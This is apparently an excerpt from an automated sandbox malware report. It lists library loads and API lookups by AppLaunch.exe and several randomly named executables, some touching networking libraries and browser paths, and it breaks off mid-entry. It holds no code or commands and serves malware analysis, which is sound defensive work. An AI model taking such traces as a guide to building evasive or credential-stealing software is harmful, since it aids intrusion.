"AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\firefox.exe (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\iexplore.exe (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00003376) "9yR3LL2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004060) "9yR3LL2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004060) "9yR3LL2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004060) "9yR3LL2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004060) "9yR3LL2.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004060) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter wship6.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001928) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001928)3c:T15fbc,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003396) "Ia3cO08.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004012) "Ia3cO08.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004012) "Ia3cO08.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004012) "Ia3cO08.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004012) "QX6jY18.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003072) "QX6jY18.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003072) "Qb7Pk11.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003344) "Qb7Pk11.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003344) "Qb7Pk11.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003344) "Qb7Pk11.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003344) "1gT33kS4.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter 